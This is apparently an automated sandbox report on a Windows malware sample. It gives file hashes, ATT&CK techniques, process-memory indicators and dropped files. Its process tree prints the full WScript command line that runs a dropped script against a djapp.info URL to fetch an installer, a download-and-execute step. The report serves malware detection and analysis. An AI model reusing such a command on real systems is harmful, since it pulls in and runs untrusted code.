4d12ee6aa31ef56d6607fbbadade36abe1a0210a6b71643cdf4b94ce0df4d9f5

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
02/05/2024, 13:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe
Size

184KB
MD5

0ea4bf72c0c43987ecad06856fdfe5e5
SHA1

5edd8ae54c959d25a2b47dede9f53289696810fa
SHA256

4d12ee6aa31ef56d6607fbbadade36abe1a0210a6b71643cdf4b94ce0df4d9f5
SHA512

5fcc417029bcc60cc914b33799d551b1ea3d1c6f214681411feb49dc1f14cc82f929c2349002eb17387642c48be724b64d31efee1551ba6af3414e490eb6e9f3
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3+:/7BSH8zUB+nGESaaRvoB7FJNndnr

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2704	WScript.exe
8	2704	WScript.exe
10	2704	WScript.exe
12	2680	WScript.exe
13	2680	WScript.exe
15	1360	WScript.exe
16	1360	WScript.exe
18	2136	WScript.exe
19	2136	WScript.exe
21	2736	WScript.exe
22	2736	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 2704	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	28
PID 2004 wrote to memory of 2704	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	28
PID 2004 wrote to memory of 2704	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	28
PID 2004 wrote to memory of 2704	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	28
PID 2004 wrote to memory of 2680	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	30
PID 2004 wrote to memory of 2680	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	30
PID 2004 wrote to memory of 2680	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	30
PID 2004 wrote to memory of 2680	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	30
PID 2004 wrote to memory of 1360	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	32
PID 2004 wrote to memory of 1360	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	32
PID 2004 wrote to memory of 1360	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	32
PID 2004 wrote to memory of 1360	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	32
PID 2004 wrote to memory of 2136	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	34
PID 2004 wrote to memory of 2136	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	34
PID 2004 wrote to memory of 2136	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	34
PID 2004 wrote to memory of 2136	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	34
PID 2004 wrote to memory of 2736	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	36
PID 2004 wrote to memory of 2736	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	36
PID 2004 wrote to memory of 2736	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	36
PID 2004 wrote to memory of 2736	2004	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82B.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf82B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2704
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82B.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf82B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2680
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82B.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf82B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82B.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf82B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2136
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf82B.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf82B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
de3d0f8ed315edbf797fc100f00e8c1e

SHA1
2749b127923e94734ec0d89834c41f0465b54b2d

SHA256
7467a4cfbde2ca2287d4b640b9c2af7ea43d14ee91d620bb21db35851daba665

SHA512
f5afbef2282142cffee3c8f096331392379ab46adb6fb145b0d1ed416ac245eabd5c77f994d414cd7e6d3ca592cda58fd705f52333782d30da8597f5d46b773c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
b51fd4dbd6c370bb45080e082b266d0b

SHA1
809f8a7e7fada78a3fc04625ec2dd3b5a16ecf7d

SHA256
b565cb1b55fa4833edd101af40fc493f14b6fa707c06742473d23275cc810c0c

SHA512
787dca7dc3081b544429ef83f76e2a038c099616c6631c6c114d03bd4b7947848cd3f320d939af4e8f421a0ac15b697566aa97f1d8edf922159eeaa076debe8a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ef5db5a6ab89e1d5fa7872137ddf876f

SHA1
71842cdf0317ca2dc11f7caf8774cfdb4659f19b

SHA256
46620552214e19de5bc16698caf9b1894a87d3681fe5ee2a64d47b2b6c534465

SHA512
eb8329a04f8322cd6288fa377a81b129f868293da4fe72775ad08792b4243ee65299857542795f08c238319792fa80f378a1051b066937c3aefa1382ccd9fcd0

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
6ef2c00409c24317d3b4144b50260a4d

SHA1
b7f755dffeec348f4227dd499eb1787eb5fb4a46

SHA256
8be9fa39508356b15f5c952691982da1dbc747c0e43ca51524bde35c70744577

SHA512
4ff66e56e10945106ac194bd4b9b2d372a37ddac164fadd1c315c7e7b104c324463e566a5aecb143eed5051337f18588aa8eab13e8d793c4cb6031f931590dd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
23e594c8ea588a12bb31b99a24afaeec

SHA1
04062dde19625cf802b8e41c433a30b3088efc3e

SHA256
c8551b61c1cce012087483fec01c7a3f95be8cdcc3ea1db8f110b50f3808b2e0

SHA512
065d00d83e7958a519c4d37001923e92438a92e8c710e0dd0584745560374ec4e824efa5369e49741da24a2cb4f405b2a8607abf73eaf180e533ecbe49179fc3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
6KB

MD5
03d1cea41aa2b6c63c0ef3e2c08f2878

SHA1
3cf1f2d7cf17c6644305f4b1920510068c6afe3e

SHA256
828466526c41f7879010dd1d63a05aee7716aa8a034187d4b138fed4a0f4fd95

SHA512
896cd805e394df5fc26bf1ef39a78a1af24eb7c238a7c0459072f3b8d38da283e9897c3ac7952ffec2786f0d2062ce39529e34c05c59e1be724f9b1450c945d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
e14640eb2346ef72d3430b3c53600ad8

SHA1
1dccb4391a2bc9cbce51a780ea99b5c38966317c

SHA256
2f6fca3326886093af4c649b9abade59b858e40cdeba62aedd2a3ec159b53eb6

SHA512
2f7d695d805bae71b21ed2590168bed7a0802226c90b4d911b174253504d33d8e3e1c9e1cb2ba735be96e5b7f88c8d1576ff946b6eaec50cd08a929a39861cfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
6KB

MD5
6b401a5446514abdd8497db43306c8d5

SHA1
2b984e2b3f9d2accea201be3a7f3335a360ce363

SHA256
02fecfefbfcbfdf986cfffae45c6257c5695af03f29ed41d2cd85f823fbb7bde

SHA512
d3bdc90082cee0e05328d27048caedaae1378119227a6616aa08ba34df54d51e312ea037128bcd1091d4ec54912ab514b86be396a08f2e347dc31aa7c07df1df

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab37D2.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5024.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf82B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\O3SSSW5Y.txt

Filesize
175B

MD5
2f9272679c7e1eddb69cb31366bcf9ca

SHA1
380e894fe2209add59a1d635a63285e7d8218003

SHA256
32ebcd0d719255bc462763443bf71bf773fd82156ddbc9bdd7989bfb45741a7a

SHA512
a3bd543f1e61bfedbd94eac21ee2361be0b66fa33a150d11f898a713f209bc0ed03675355f8e6e06a5b15283c7875cb0b199a78c87f3fddf76970e6aca205781

Download Submit